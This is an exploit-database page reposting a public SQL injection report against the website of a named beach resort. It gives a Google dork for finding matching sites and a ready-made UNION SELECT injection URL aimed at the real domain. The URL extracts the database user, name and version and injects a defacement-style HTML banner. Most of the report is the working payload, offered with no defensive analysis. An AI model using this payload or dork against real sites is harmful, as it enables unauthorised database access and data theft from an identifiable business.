BLUEWATER MARIBAGO BEACH RESORT - SQL Injection Vulnerability

Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022060070

Below is a copy:

BLUEWATER MARIBAGO BEACH RESORT - SQL Injection Vulnerability

******************************************************************
#Exploit Title:  BLUEWATER MARIBAGO BEACH RESORT - SQL Injection Vulnerability
#Date: 2022-06-21
#Exploit Author: Jayson Cabrillas San Buenaventura
#Google Dork: intext:"BLUEWATER MARIBAGO BEACH RESORT " inurl:/index.php?page=
#Category: webapps
#Tested On: BlackArch Linux, CyberFox
 
 
Proof of Concept:
Search google Dork: intext:"BLUEWATER MARIBAGO BEACH RESORT " inurl:/index.php?page=


### Demo :

https://www.bluewatermaribago.com.ph/index.php?page=media-center&item=-19'+union+distinctROW+select+1,2,CONCAT(0x3c666f6e7420636f6c6f723d7265643e3c683e494e4a4543544544204259204d522e245544303c2f683e3c2f666f6e743e3c62723e3c62723e,USER(),0x3c62723e,DATABASE(),0x3c62723e,VERSION()),4,5,6,7,8,9,10--+


****************************************************************** 
#Discovered by: Jayson Cabrillas San Buenaventura
#Facebook: Jayson Cabrillas Cabrillas San Buenaventura
#Email: [email protected]
******************************************************************

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.